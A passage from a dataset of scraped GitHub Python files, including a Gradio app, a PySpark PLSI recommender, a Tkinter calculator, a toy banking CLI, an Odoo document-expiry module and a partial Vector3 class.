dynamic_inputs.append(dyn_dropdown)\n dynamic_inputs.append(dyn_multiselect)\n #eg = gr.Examples(examples=[], inputs=[])\n #eg = gr.Dataset(components=[gr.Textbox(), gr.Textbox(), gr.Textbox()], samples=[[\"Foo\", \"Bar\", 12], [\"Test\", \"Bye\", \"23\"]], type=\"index\", label=\"Examples\")\n eg = gr.Dataframe(value=[[\"Foo\", \"bar\", 12], [\"Test\", \"bye\", 23]], label=\"Examples\", headers=None, elem_id=\"demoexamples\")\n selected_eg = gr.State()\n btn_run_app = gr.Button(value=\"Run\", variant=\"primary\")\n #statement = gr.Textbox()\n #statement2 = gr.Textbox()\n with gr.Column():\n app_user_input = gr.State(\"\")\n app_first_response = gr.TextArea(label=\"First Response\", interactive=True, show_label=True, show_copy_button=True)\n gr.ChatInterface(fn=myecho, title=\"Testing\")\n has_idea.input(flip_input_ui, inputs=[has_idea], outputs=[app_domain, app_topic])\n btn_gen_app.click(gen_app_begin, inputs=[has_idea, app_domain, app_topic, app_remark], outputs=[app_prompt]) \\\n .success(gen_app_extract_meta, inputs=[app_prompt], outputs=[debug_meta, app_def, app_def_display]) \\\n .success(gen_app_extract_ui, inputs=[app_prompt, app_def], outputs=[debug_ui, app_def, app_def_display]) \\\n .success(gen_app_examples, inputs=[has_idea, app_domain, app_topic, app_remark, app_prompt, debug_ui], outputs=[example_input]) \\\n .success(gen_app_extract_examples, inputs=[debug_ui, example_input, app_def], outputs=[debug_examples, app_def, app_def_display]) \\\n .success(gen_app_prompt_chain, inputs=[has_idea, app_domain, app_topic, app_remark, app_prompt], outputs=[followup_question]) \\\n .success(gen_app_extract_chains, inputs=[followup_question, app_def], outputs=[debug_chain, app_def, app_def_display])\n btn_assemble.click(retry_assembly, inputs=[debug_meta, debug_ui, debug_examples], outputs=[app_def, app_def_display])\n btn_deploy.click(deploy_app, inputs=[app_def] + dynamic_inputs, outputs=[app_banner, eg] + dynamic_inputs)\n btn_run_app.click(user_submit_form, inputs=[app_def] + dynamic_inputs, outputs=[app_user_input]) \\\n .success(run_app_first, inputs=[app_def, app_user_input], outputs=[app_first_response])\n eg.select(fn=run_selected_eg, inputs=None, outputs=selected_eg) \\\n .success(dynamic_fill_eg_input, inputs=[app_def, selected_eg], outputs=dynamic_inputs)\n #btn_temp.click(add_textbox, inputs=[t2], outputs=[])\n #t2.add_child(gr.Textbox())\n #with gr.Tab(\"Test Run\"):\n #d\n #def gen_app_prompt_chain(has_idea, app_domain, app_topic, app_remark, app_prompt):\n #def gen_app_extract_chains(followup_question, app_def):\n\ndemo.queue().launch(debug=True)\n","repo_name":"hkitsmallpotato/gen-ai-app","sub_path":"auto-ai-miniapp/src/apps.py","file_name":"apps.py","file_ext":"py","file_size_in_byte":10549,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"3090697664","text":"import time\nimport numpy as np\nimport pyspark\n\nfrom numpy import random\nfrom pyspark import sql\n\nsc = pyspark.SparkContext()\n\n#Open rdd\n\nrdd = sc.textFile(\"hdfs:///user/hadoop/recommend/ratings.csv\")\n\n#Remove header line\nheader = rdd.first()\nrdd = rdd.filter(lambda x: x != header)\n\n#Keep only (user, movie) information\nrdd = rdd.map(lambda line : line.split(',')).map(lambda line : line[0] + ',' + line[2])\n\n#Initialize number of classes and number of iterations\nnb_z = 3\nnb_iterations = 20\n\nprint(\"\\n \\n \\n Starting PLSI Algorithm for \"+str(nb_z)+\" classes and \"+str(nb_iterations)+\" iterations \\n \\n \\n\")\n\n#Compute the cartesian product of the (user, movie) couples with the 3 classes\nclasses = sc.parallelize(range(nb_z))\n\nrdd = rdd.cartesian(classes)\n\nrdd = rdd.distinct()\n\n## Initialize q0 ##\n\n#Order rdd by user, movie, class\nordered_rdd = rdd.map(lambda x: (x[0].split(','), x[1])).sortBy(lambda x : (x[0][0], x[0][1], x[1]))\n\n#Create a vector of probabilities that sum to 1 every three probas\nproba0 = np.random.rand(int(ordered_rdd.count()/nb_z), nb_z)\nrandom_p = list((proba0 / np.reshape(proba0.sum(1), (int(ordered_rdd.count()/nb_z), 1))).flatten())\n\n#Assign a probability to each triplet (user, movie, class)\nq = ordered_rdd.map(lambda x : (x, random_p.pop(0)))\nnum_partitions = q.getNumPartitions()\n\n#Create an empty list to keep track of the LogLikelihood\nLogLik = []\n\n###### Run the EM algorithm on nb_iterations #####\n\nprint(\"\\n \\n \\n Preliminary work done! \\n \\n \\n\")\n\nfor i in range(nb_iterations) :\n\n start = time.time()\n \n #### M-STEP - Compute p(s|z) and p(z|u) based on q( z | (u,s) ) ####\n\n ## Compute p(s | z) : sum the probas associated to every couple (s,z) and divide it by the sum of probas associated to this z ##\n \n #Keep the probabilities of all the (movie, class) couples\n SZ_probas = q.map(lambda x: ((x[0][0][1], x[0][1]), x[1]))\n \n #Sum the probabilities for the same (movie, class) couples\n Nsz = SZ_probas.reduceByKey(lambda x,y: x + y)\n \n #Keep the probabilities associated to each class in the rdd and sum the probabilities by class\n Z_probas = q.map(lambda x: (x[0][1], x[1]))\n Nz = Z_probas.reduceByKey(lambda x,y: x+y)\n \n #Divide the probability of the (movie, class) couple by the probability of the class\n Nsz = Nsz.map(lambda x : (x[0][1], (x[0][0], x[1])))\n Psz = Nsz.join(Nz).coalesce(num_partitions)\n Psz = Psz.map(lambda x : ((x[1][0][0], x[0]), x[1][0][1] / x[1][1])) #This gives us p(s | u)\n \n ## Compute p(z | u) : sum the probas associated to every couple (u,z) and divide by the sum of probas associated to this u ##\n \n #Same idea : Keep the probabilities of all the (class, user) couples and sum them by couple\n ZU_probas = q.map(lambda x: ((x[0][0][0], x[0][1]), x[1]))\n Nzu = ZU_probas.reduceByKey(lambda x,y: x + y)\n \n # Keep the probabilities associated to each user in the rdd and sum the probabilities by user\n U_probas = q.map(lambda x: (x[0][0][0], x[1]))\n Nu = U_probas.reduceByKey(lambda x,y: x+y)\n \n #Divide the probability of the (class, user) couple by the probability of the user\n Nzu = Nzu.map(lambda x : (x[0][0], (x[0][1], x[1])))\n Pzu = Nzu.join(Nu).coalesce(num_partitions)\n Pzu = Pzu.map(lambda x : ((x[1][0][0], x[0]), x[1][0][1] / x[1][1])) #This gives us p(u | z)\n \n ### E-STEP - Compute new q( z | (u,s) ) = p(s|z)p(z|u) / sum ( p(s|z)p(z|u) )###\n \n ## For each (u,s,z), compute p(s | z) * p(z | u) ##\n \n #Here we want to join Pzu and Psz : to each triplet (u,s,z), we want to associate p(z|u) and p(s|z) (computed above)\n #We create couples (z,u) and (s,z) for each triplet (u,s,z) and change their places to make the join with Pzu and Psz possible\n \n q_int = q.map(lambda x : ((x[0][1], x[0][0][0]), (x[0][0][1], x[0][1])))\n q_int2 = q_int.join(Pzu).coalesce(num_partitions)\n q_int3 = q_int2.map(lambda x : (x[1][0], (x[0], x[1][1])))\n PzuPsz = q_int3.join(Psz).coalesce(num_partitions)\n \n #We now multiply p(z|u) and p(s|z) to obtain p(s|u)\n PzuPsz = PzuPsz.map(lambda x: ((x[1][0][0][1], x[0][0]), (x[0][1], x[1][0][1]*x[1][1])))\n \n ## For each (u,s), we compute sum ( p(s | z)* p(z | u) ) (summing over z) (this corresponds to p(s|u)) ##\n SumPzuPsz = PzuPsz.map(lambda x : (x[0], x[1][1])).reduceByKey(lambda x,y : x+y)\n \n #Update LogLikelihood\n log = SumPzuPsz.map(lambda x : np.log(x[1]))\n N = SumPzuPsz.count()\n L = log.reduce(lambda x,y : x+y)\n print(\"\\n \\n \\n Iteration \"+str(i+1)+ \"complete, loglikelihood is: \" + str(L/N)+\"\\n \\n \\n\")\n LogLik.append(L/N)\n \n #For each (u,s,z), compute p(s|z)p(z|u) / sum( p(s|z)p(z|u) ) (this corresponds to the new q( z | (u,s) )\n q = PzuPsz.join(SumPzuPsz).coalesce(num_partitions)\n q = q.map(lambda x : ((x[0], x[1][0][0]), x[1][0][1]/x[1][1]))\n\n end = time.time()\n\n print(\"\\n \\n \\n Iteration \"+str(i+1)+\" completed in \"+str(end-start)+\"\\n \\n \\n\")\n\n#Build the recommendation\n\nprint(\"\\n \\n \\n Building the recommendation \\n \\n \\n \")\n\nusers = rdd.map(lambda x : x[0])\nmovies = rdd.map(lambda x : x[1])\nclasses = sc.parallelize(range(nb_z))\n \ndata = users.cartesian(movies)\ndata = data.cartesian(classes).map(lambda line : (line[0][0], line[0][1], line[1]))\ndata = data.distinct()\n\nordered_data = data.sortBy(lambda x : (x[0], x[1], x[2]))\ncouples = ordered_data.map(lambda x : ((x[2], x[0]), (x[1], x[2])))\nprobas = couples.join(Pzu).coalesce(num_partitions).map(lambda x : (x[1][0], (x[0], x[1][1])))\nprobas = probas.join(Psz).coalesce(num_partitions)\nPsu = probas.map(lambda x : (x[1][0][0][1], x[0][0], x[1][0][1]*x[1][1]))\nprobs = Psu.map(lambda x : x[2])\n\nthreshold = np.quantile(probs.collect(), 0.9)\n\ndef prediction(rdd, threshold):\n return(rdd.map(lambda x : (x[0],x[1], x[2] >=threshold)))\n\nresult = prediction(Psu, threshold)\n\nresult.saveAsTextFile(\"hdfs:///user/hadoop/recommend/prediction\")\n\nsc.stop()\n","repo_name":"gaelleguillou/recommender_system_plsi","sub_path":"previous_versions/recommender_system-0.2.py","file_name":"recommender_system-0.2.py","file_ext":"py","file_size_in_byte":5941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73910544402","text":"import numpy as np\nfrom LucasKanadeAffine import LucasKanadeAffine\nfrom InverseCompositionAffine import InverseCompositionAffine\nfrom scipy.interpolate import RectBivariateSpline\nfrom scipy.ndimage import affine_transform, generate_binary_structure, binary_erosion, binary_dilation, binary_fill_holes\n\ndef SubtractDominantMotion(image1, image2, threshold, num_iters, tolerance):\n \"\"\"\n :param image1: Images at time t\n :param image2: Images at time t+1\n :param threshold: used for LucasKanadeAffine\n :param num_iters: used for LucasKanadeAffine\n :param tolerance: binary threshold of intensity difference when computing the mask\n :return: mask: [nxm]\n \"\"\"\n \n mask = np.zeros(image1.shape, dtype=bool)\n\n # Uncomment the following line to use vanilla Lucas Kanade\n # M = LucasKanadeAffine(image1, image2, threshold, num_iters) \n \n M = InverseCompositionAffine(image1, image2, threshold, num_iters)\n \n # # Warp It\n # Minv = np.linalg.inv(M) # affine_transform uses inverse warping\n # warped = affine_transform(image1, Minv[:2, :2], Minv[:2, -1], image2.shape)\n h, w = image1.shape\n hrange, wrange = np.arange(h), np.arange(w)\n X, Y = np.meshgrid(wrange, hrange)\n im1 = RectBivariateSpline(hrange, wrange, image1)\n im2 = RectBivariateSpline(hrange, wrange, image2)\n warpX = M[0, 0] * X + M[0, 1] * Y + M[0, 2]\n warpY = M[1, 0] * X + M[1, 1] * Y + M[1, 2]\n outside = np.nonzero((w <= warpX) | (warpX < 0) | (h <= warpY) | (warpY < 0))\n mask2 = np.ones(image1.shape, dtype=bool) # mask for valid coordinates\n mask2[outside] = False\n mask[np.abs(im1.ev(Y, X) - im2.ev(warpY, warpX)) > tolerance] = True\n mask &= mask2\n \n # For ant sequence\n # # Join\n # struct = generate_binary_structure(2, 1)\n # mask = binary_dilation(mask, struct, iterations=3)\n # mask = binary_erosion(mask, struct, iterations=3)\n \n # # De-noise\n # mask = binary_erosion(mask, iterations=1)\n # mask = binary_dilation(mask, iterations=1)\n\n # For aerial sequence\n # Join\n struct = np.array(([0,0,1,0,0],[0,1,1,1,0],[1,1,1,1,1],[0,1,1,1,0],[0,0,1,0,0]))\n mask = binary_dilation(mask, struct, iterations=3)\n mask = binary_erosion(mask, struct, iterations=3)\n\n return mask\n","repo_name":"Geniussh/Computer-Vision","sub_path":"HW3/code/SubtractDominantMotion.py","file_name":"SubtractDominantMotion.py","file_ext":"py","file_size_in_byte":2272,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"38992502831","text":"import tkinter as tk\nfrom tkinter import ttk\nfrom tkinter import messagebox\nimport math as m\nfont=('arial',16,'bold')\n#creating an window\n\n#important function\n\ndef clear(event=None):\n ex=input_text.get()\n ex=ex[0:len(ex)-1]\n input_text.delete(0,tk.END)\n input_text.insert(0,ex)\n \ndef all_clear(event=None):\n input_text.delete(0,tk.END)\n\ndef click_btn_function(event):\n b=event.widget\n text=b['text']\n #print(text)\n \n if text=='x':\n input_text.insert(tk.END,'*')\n return\n if text=='=':\n try :\n ex=input_text.get()\n answer=eval(ex)\n input_text.delete(0,tk.END)\n input_text.insert(0,answer)\n except Exception as e:\n messagebox.showerror('Error',e)\n return\n input_text.insert(tk.END,text)\n\nwindow=tk.Tk()\nwindow.title('Calculator')\nwindow.geometry('340x370')\nwindow.resizable(0,0)\nimg=tk.PhotoImage(file='icon.ico')\nwindow.iconphoto(True,img)\n\n\n##picture label\npic=tk.PhotoImage(file='image/ calc.png')\nheading_lebel=ttk.Label(window,image=pic)\nheading_lebel.pack(side=tk.TOP)\n\n#heading label\nheading_lebel=ttk.Label(window,text='My Calculator',font=font,underline=0,)\nheading_lebel.pack(side=tk.TOP)\n\n#textfield\ninput_text = tk.Entry(window,font=font,justify=tk.CENTER) \ninput_text.pack(side=tk.TOP,fill=tk.X)\n\n#button\nbutton_frame = ttk.Frame(window)\nbutton_frame.pack(side=tk.TOP,pady=10)\n\n#adding button\ntemp=1\nfor i in range(0,3):\n for j in range(0,3):\n btn=tk.Button(button_frame,text=str(temp),font=font,width=5,relief='ridge',activebackground='blue',activeforeground='white')\n btn.grid(row=i,column=j,padx=3,pady=3)\n temp=temp+1\n btn.bind('',click_btn_function)\n\nzero_btn=tk.Button(button_frame,text='0',font=font,width=5,relief='ridge',activebackground='blue',activeforeground='white')\nzero_btn.grid(row=3,column=0,padx=3,pady=3)\n\ndot_btn=tk.Button(button_frame,text='.',font=font,width=5,relief='ridge',activebackground='blue',activeforeground='white')\ndot_btn.grid(row=3,column=1,padx=3,pady=3)\n\nequal_btn=tk.Button(button_frame,text='=',font=font,width=5,relief='ridge',activebackground='blue',activeforeground='white')\nequal_btn.grid(row=3,column=2,padx=3,pady=3)\n\nplus_btn=tk.Button(button_frame,text='+',font=font,width=5,relief='ridge',activebackground='blue',activeforeground='white')\nplus_btn.grid(row=0,column=3,padx=3,pady=3)\n\nminus_btn=tk.Button(button_frame,text='-',font=font,width=5,relief='ridge',activebackground='blue',activeforeground='white')\nminus_btn.grid(row=1,column=3,padx=3,pady=3)\n\nmult_btn=tk.Button(button_frame,text='x',font=font,width=5,relief='ridge',activebackground='blue',activeforeground='white')\nmult_btn.grid(row=2,column=3,padx=3,pady=3)\n\ndevide_btn=tk.Button(button_frame,text='/',font=font,width=5,relief='ridge',activebackground='blue',activeforeground='white')\ndevide_btn.grid(row=3,column=3,padx=3,pady=3)\n\nclear_btn=tk.Button(button_frame,text='<--',font=font,width=11,relief='ridge',activebackground='blue',activeforeground='white',command=clear)\nclear_btn.grid(row=4,column=0,columnspan=2,padx=3,pady=3)\n\nallclear_btn=tk.Button(button_frame,text='AC',font=font,width=11,relief='ridge',activebackground='blue',activeforeground='white',command=all_clear)\nallclear_btn.grid(row=4,column=2,columnspan=2,padx=3,pady=3)\n\n#binding all button\nzero_btn.bind('',click_btn_function)\ndot_btn.bind('',click_btn_function)\nequal_btn.bind('',click_btn_function)\nplus_btn.bind('',click_btn_function)\nminus_btn.bind('',click_btn_function)\nmult_btn.bind('',click_btn_function)\ndevide_btn.bind('',click_btn_function)\n#clear_btn.bind('',clear)\n#allclear_btn.bind('',all_clear)\n\ndef enter_click(event):\n e = tk.Event()\n e.widget = equal_btn\n click_btn_function(e)\n\ninput_text.bind('', enter_click)\n\n######################################code for scientific calculator######################\n\n#function for scientific calculator\nsc_frame=ttk.Frame(window)\n\nsqrt_btn=tk.Button(sc_frame,text='√',font=font,width=5,relief='ridge',activebackground='blue',activeforeground='white')\nsqrt_btn.grid(row=0,column=0,padx=3,pady=3)\n\npow_btn=tk.Button(sc_frame,text='^',font=font,width=5,relief='ridge',activebackground='blue',activeforeground='white')\npow_btn.grid(row=0,column=1,padx=3,pady=3)\n\nfact_btn=tk.Button(sc_frame,text='x!',font=font,width=5,relief='ridge',activebackground='blue',activeforeground='white')\nfact_btn.grid(row=0,column=2,padx=3,pady=3)\n\nrad_btn=tk.Button(sc_frame,text='toRad',font=font,width=5,relief='ridge',activebackground='blue',activeforeground='white')\nrad_btn.grid(row=0,column=3,padx=3,pady=3)\n\nsin_btn=tk.Button(sc_frame,text='sinθ',font=font,width=5,relief='ridge',activebackground='blue',activeforeground='white')\nsin_btn.grid(row=1,column=0,padx=3,pady=3)\n\ncos_btn=tk.Button(sc_frame,text='cosθ',font=font,width=5,relief='ridge',activebackground='blue',activeforeground='white')\ncos_btn.grid(row=1,column=1,padx=3,pady=3)\n\ntan_btn=tk.Button(sc_frame,text='tanθ',font=font,width=5,relief='ridge',activebackground='blue',activeforeground='white')\ntan_btn.grid(row=1,column=2,padx=3,pady=3)\n\ncomma_btn=tk.Button(sc_frame,text=',',font=font,width=5,relief='ridge',activebackground='blue',activeforeground='white')\ncomma_btn.grid(row=1,column=3,padx=3,pady=3)\n\ndeg_btn=tk.Button(sc_frame,text='toDeg',font=font,width=5,relief='ridge',activebackground='blue',activeforeground='white')\ndeg_btn.grid(row=2,column=0,padx=3,pady=3)\n\nlog_btn=tk.Button(sc_frame,text='log',font=font,width=5,relief='ridge',activebackground='blue',activeforeground='white')\nlog_btn.grid(row=2,column=1,padx=3,pady=3)\n\nonebyx_btn=tk.Button(sc_frame,text='1/x',font=font,width=5,relief='ridge',activebackground='blue',activeforeground='white')\nonebyx_btn.grid(row=2,column=2,padx=3,pady=3)\n\nrem_btn=tk.Button(sc_frame,text='rem',font=font,width=5,relief='ridge',activebackground='blue',activeforeground='white')\nrem_btn.grid(row=2,column=3,padx=3,pady=3)\n\ngcd_btn=tk.Button(sc_frame,text='gcd',font=font,width=5,relief='ridge',activebackground='blue',activeforeground='white')\ngcd_btn.grid(row=3,column=0,padx=3,pady=3)\n\npi_btn=tk.Button(sc_frame,text='pi',font=font,width=5,relief='ridge',activebackground='blue',activeforeground='white')\npi_btn.grid(row=3,column=1,padx=3,pady=3)\n\nln_btn=tk.Button(sc_frame,text='ln',font=font,width=5,relief='ridge',activebackground='blue',activeforeground='white')\nln_btn.grid(row=3,column=2,padx=3,pady=3)\n\ne_btn=tk.Button(sc_frame,text='e',font=font,width=5,relief='ridge',activebackground='blue',activeforeground='white')\ne_btn.grid(row=3,column=3,padx=3,pady=3)\n\nnormalcalc=True\n\ndef calculator_sc(event):\n btn=event.widget\n text=btn['text']\n #print(text)\n ex=input_text.get()\n answer=''\n if text=='toDeg':\n answer=str(m.degrees(float(ex)))\n elif text=='toRad':\n answer=str(m.radians(float(ex)))\n elif text=='x!':\n answer=str(m.factorial(int(ex)))\n elif text=='sinθ':\n answer=str(m.sin(m.radians(float(ex))))\n elif text=='cosθ':\n answer=str(m.sin(m.radians(float(ex))))\n elif text=='tanθ':\n answer=str(m.tan(m.radians(float(ex))))\n elif text=='log':\n answer=str(m.log10(float(ex)))\n elif text=='1/x':\n answer=str(1/(float(ex)))\n elif text=='rem':\n num1,num2=ex.split(\",\")\n answer=str(m.remainder(float(num1),float(num2)))\n elif text=='√':\n answer=str(m.sqrt(int(ex)))\n elif text=='^':\n base,pow=ex.split(\",\")\n answer=m.pow(int(base),int(pow))\n elif text=='gcd':\n num1,num2=ex.split(\",\")\n answer=str(m.gcd(int(num1),int(num2)))\n\n elif text=='pi':\n if ex=='':\n answer=str(m.pi)\n else:\n answer=str(float(ex) * m.pi)\n \n elif text=='ln':\n answer=str(m.log(float(ex)))\n\n elif text=='e':\n if ex=='':\n answer=str(m.e)\n else:\n answer=str(m.e**float(ex))\n \n input_text.delete(0,tk.END)\n input_text.insert(0,answer)\n\n \ndef sc_click():\n global normalcalc\n if normalcalc:\n button_frame.pack_forget()\n #add sc frame\n sc_frame.pack(side=tk.TOP)\n button_frame.pack(side=tk.TOP)\n window.geometry('350x520')\n normalcalc=False\n else:\n sc_frame.pack_forget()\n window.geometry('340x370')\n normalcalc=True\n\n\n# end function\n# binding sc button\ncomma_btn.bind('',click_btn_function)\nsqrt_btn.bind(\"\",calculator_sc)\npow_btn.bind(\"\",calculator_sc)\nfact_btn.bind(\"\",calculator_sc)\nrad_btn.bind(\"\",calculator_sc)\ndeg_btn.bind(\"\",calculator_sc)\nsin_btn.bind(\"\",calculator_sc)\ncos_btn.bind(\"\",calculator_sc)\ntan_btn.bind(\"\",calculator_sc)\nlog_btn.bind(\"\",calculator_sc)\nonebyx_btn.bind(\"\",calculator_sc)\nrem_btn.bind(\"\",calculator_sc)\ngcd_btn.bind(\"\",calculator_sc)\npi_btn.bind(\"\",calculator_sc)\nln_btn.bind(\"\",calculator_sc)\ne_btn.bind(\"\",calculator_sc)\n\nfont_menu=('arial',12,'bold')\nmenubar=tk.Menu(window)\nmode=tk.Menu(menubar,font=font_menu,tearoff=0)\nmode.add_checkbutton(label='Scientific Calculator',command=sc_click)\nmenubar.add_cascade(label='Mode',menu=mode)\nwindow.config(menu=menubar)\n\nwindow.mainloop()\n\n","repo_name":"kousikmondal/gui_calculator","sub_path":"Calculator.py","file_name":"Calculator.py","file_ext":"py","file_size_in_byte":9436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35866166073","text":"from botbuilder.core import StatePropertyAccessor, TurnContext\r\nfrom botbuilder.dialogs import Dialog, DialogSet, DialogTurnStatus\r\n\r\n\r\nclass DialogHelper:\r\n \"\"\" Contains methods for working with dialogs. \"\"\"\r\n\r\n @staticmethod\r\n async def run_dialog(\r\n dialog: Dialog, turn_context: TurnContext, accessor: StatePropertyAccessor\r\n ) -> DialogTurnStatus:\r\n \"\"\" Runs the given dialog and returns the turn status.\r\n\r\n :param dialog: dialog to run\r\n :param turn_context: turn context\r\n :param accessor: StatePropertyAccessor to use for dialog state\r\n :return DialogTurnStatus: Dialog's turn status\r\n \"\"\"\r\n dialog_set = DialogSet(accessor)\r\n dialog_set.add(dialog)\r\n\r\n dialog_context = await dialog_set.create_context(turn_context)\r\n results = await dialog_context.continue_dialog()\r\n if results.status == DialogTurnStatus.Empty:\r\n results = await dialog_context.begin_dialog(dialog.id)\r\n\r\n return results.status\r\n","repo_name":"aramayyes/Dram-Chatbot","sub_path":"src/utils/helpers/dialog_helper.py","file_name":"dialog_helper.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"17077102497","text":"import collections\nimport glob\nimport json\nimport os\n\nimport yaml\nfrom munch import Munch, iteritems\n\nfrom config_probe.exceptions import ConfigNotFound\n\nNAMESPACE_PLACEHOLDER = \"(*)\"\n\n\ndef probe(path, patterns):\n config = {}\n\n for pattern in patterns:\n\n glob_pattern = pattern.replace(NAMESPACE_PLACEHOLDER, \"*\")\n for config_file in glob.glob(os.path.join(path, glob_pattern)):\n relevant_part_of_the_path = config_file if os.path.isabs(pattern) else config_file[len(path) + 1:]\n path_parts, ext = os.path.splitext(relevant_part_of_the_path)\n path_matchers, _ = os.path.splitext(pattern)\n\n namespaces = _deduce_namespaces(path_matchers, path_parts)\n\n with open(config_file) as f:\n new_values = _parsers[ext](f)\n\n _add_to_configuration(config, namespaces, new_values)\n\n return _munchify(config)\n\n\ndef fake_probe(content):\n return _munchify(content)\n\n\n_parsers = {\n \".yaml\": lambda f: yaml.safe_load(f) or {},\n \".json\": lambda f: json.load(f),\n}\n\n\ndef _deduce_namespaces(path_matchers, path_parts):\n namespaces = []\n path_parts, current_part = os.path.split(path_parts)\n path_matchers, matcher = os.path.split(path_matchers)\n while current_part is not \"\":\n if matcher == NAMESPACE_PLACEHOLDER:\n namespaces.append(current_part)\n\n path_parts, current_part = os.path.split(path_parts)\n path_matchers, matcher = os.path.split(path_matchers)\n return reversed(namespaces)\n\n\ndef _add_to_configuration(config, namespaces, new_values):\n current_level = config\n for ns in namespaces:\n if ns not in current_level:\n current_level[ns] = {}\n current_level = current_level[ns]\n\n _update(current_level, new_values)\n\n\ndef _update(config, values):\n for k, v in values.items():\n if k in config and isinstance(v, collections.Mapping):\n _update(config[k], v)\n else:\n config[k] = v\n\n\nclass _Munch(Munch):\n def __getattr__(self, k):\n try:\n return super(_Munch, self).__getattr__(k)\n except AttributeError as e:\n raise ConfigNotFound(e)\n\n\ndef _munchify(x):\n if isinstance(x, dict):\n return _Munch((k, _munchify(v)) for k,v in iteritems(x))\n elif isinstance(x, (list, tuple)):\n return type(x)(_munchify(v) for v in x)\n else:\n return x\n","repo_name":"internap/python-config-probe","sub_path":"config_probe/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2410,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"17608164914","text":"import utils\nfrom bank import Bank\n\n\ndef main():\n current_account = False\n stop = False\n bank = Bank()\n while not stop:\n if not current_account:\n choice = utils.menu()\n if choice == 1:\n new = bank.new_account()\n print('\\nYour card has been created')\n print('Your card number:')\n print(new.account_number)\n print('Your card PIN:')\n print(new.pin)\n print()\n elif choice == 2:\n number = input('\\nEnter your card number:\\n')\n pin = input('Enter your PIN:\\n')\n account = bank.find_account(number)\n if account and account.login(number, pin):\n print('\\nYou have successfully logged in!')\n current_account = account\n else:\n print('\\nWrong card number or PIN!')\n elif choice == 0:\n break\n else:\n print('\\nWrong option!\\n')\n else:\n choice = utils.account_menu()\n if choice == 1:\n print(f'\\nBalance: {current_account.balance}')\n elif choice == 2:\n try:\n income = int(input('Enter income:\\n'))\n except ValueError:\n print('Not a number!')\n continue\n if bank.add_income(current_account, income):\n print('Income was added!')\n current_account = bank.find_account(current_account.account_number)\n else:\n print('There was an error while adding income!')\n elif choice == 3:\n print('\\nTransfer')\n reciever = input('Enter card number:\\n')\n if len(reciever) != 16 or utils.luhns(reciever) != int(reciever[-1]):\n print('Probably you made a mistake in the card number. Please try again!')\n continue\n send_to = bank.find_account(reciever)\n if not send_to:\n print('Such a card does not exist!')\n continue\n try:\n amount = int(input('Enter how much money you want to transfer:\\n'))\n except ValueError:\n print('Not a number!')\n continue\n res = bank.do_transfer(current_account, send_to, amount)\n if res == -1:\n print('Not enough money!\\n')\n elif res == 0:\n print('Same account!\\n')\n elif res is True:\n print('Success!')\n current_account = bank.find_account(current_account.account_number)\n else:\n print('There was an error while doing the transfer!')\n elif choice == 4:\n if bank.close_account(current_account):\n current_account = False\n print('The account has been closed!')\n else:\n print(\"Couldn't close your account!\")\n elif choice == 5:\n current_account = False\n print('\\nYou have successfully logged out!\\n')\n elif choice == 0:\n break\n else:\n print('\\nWrong option!\\n')\n print('\\nBye!')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"3ch0n37/SimpleBankingSystemPy","sub_path":"Simple Banking System/task/banking/banking.py","file_name":"banking.py","file_ext":"py","file_size_in_byte":3485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"31653394736","text":"n=int(input(\"enter the value \"))\r\nc=0\r\nif n==1:\r\n print(\"neither composite nor a prime\")\r\nfor i in range(2,n):\r\n if n%i==0:\r\n c+=1\r\nif c==0:\r\n print(\"prime number\")\r\nelse:\r\n print(\"not a prime number\")\r\n\r\n","repo_name":"pravallikagundubilli/programming","sub_path":"prime2.py","file_name":"prime2.py","file_ext":"py","file_size_in_byte":227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23856187721","text":"# -*- coding: utf-8 -*-\n\nfrom datetime import timedelta, date\n\nfrom dateutil.relativedelta import relativedelta\nfrom odoo import models, fields\n\n\nclass Document(models.Model):\n _inherit = 'documents.document'\n expiry_date = fields.Date('Expiry Date', tracking=True, default=fields.Date.today() + relativedelta(years=1))\n notify_before = fields.Integer('Notify Before', tracking=True, default=30)\n\n def mail_reminder(self):\n date_now = date.today() + timedelta(days=1)\n match = self.search([])\n for i in match:\n if i.expiry_date:\n exp_date = i.expiry_date - timedelta(days=i.notify_before)\n if date_now == exp_date:\n template_id = self.env.ref('kg_document_expiry.notify_document_expire_email')\n template_id.send_mail(i.id, force_send=True)\n","repo_name":"consultortic/desarrollo","sub_path":"kg_document_expiry/models/document.py","file_name":"document.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30311827171","text":"from math import sqrt\n\nclass Vector3:\n __slots__ = ('_v',)\n\n\n def __init__(self, *args):\n \"\"\"Creates a Vector3 from 3 numeric values or a list-like object\n containing at least 3 values. No arguments result in a null vector.\n\n \"\"\"\n if len(args) == 3:\n self._v = list(args[:3])\n return\n\n if not args:\n self._v = [0, 0, 0]\n elif len(args) == 1:\n self._v = list(args[0][:3])\n else:\n raise ValueError(\"Vector3.__init__ takes 0, 1 or 3 parameters\")\n \n @classmethod\n def from_iter(cls, iterable):\n \"\"\"Creates a Vector3 from an iterable containing at least 3 values.\"\"\"\n next = iter(iterable).__next__()\n v = cls.__new__(cls, object)\n v._v = [ float(next()), float(next()), float(next()) ]\n return v\n\n @property\n def x(self):\n return self._v[0]\n\n @x.setter\n def x(self, value):\n self._v[0] = value\n\n @property\n def y(self):\n return self._v[1]\n @y.setter\n def y(self, value):\n self._v[1] = value\n \n @property\n def z(self):\n return self._v[2]\n\n @z.setter\n def z(self, value):\n self._v[2] = value\n \n @property\n def r(self):\n return self._v[0]\n\n @property\n def g(self):\n return self._v[1]\n\n @property\n def b(self):\n return self._v[2]\n\n @property\n def length(self):\n x,y,z = self._v\n return 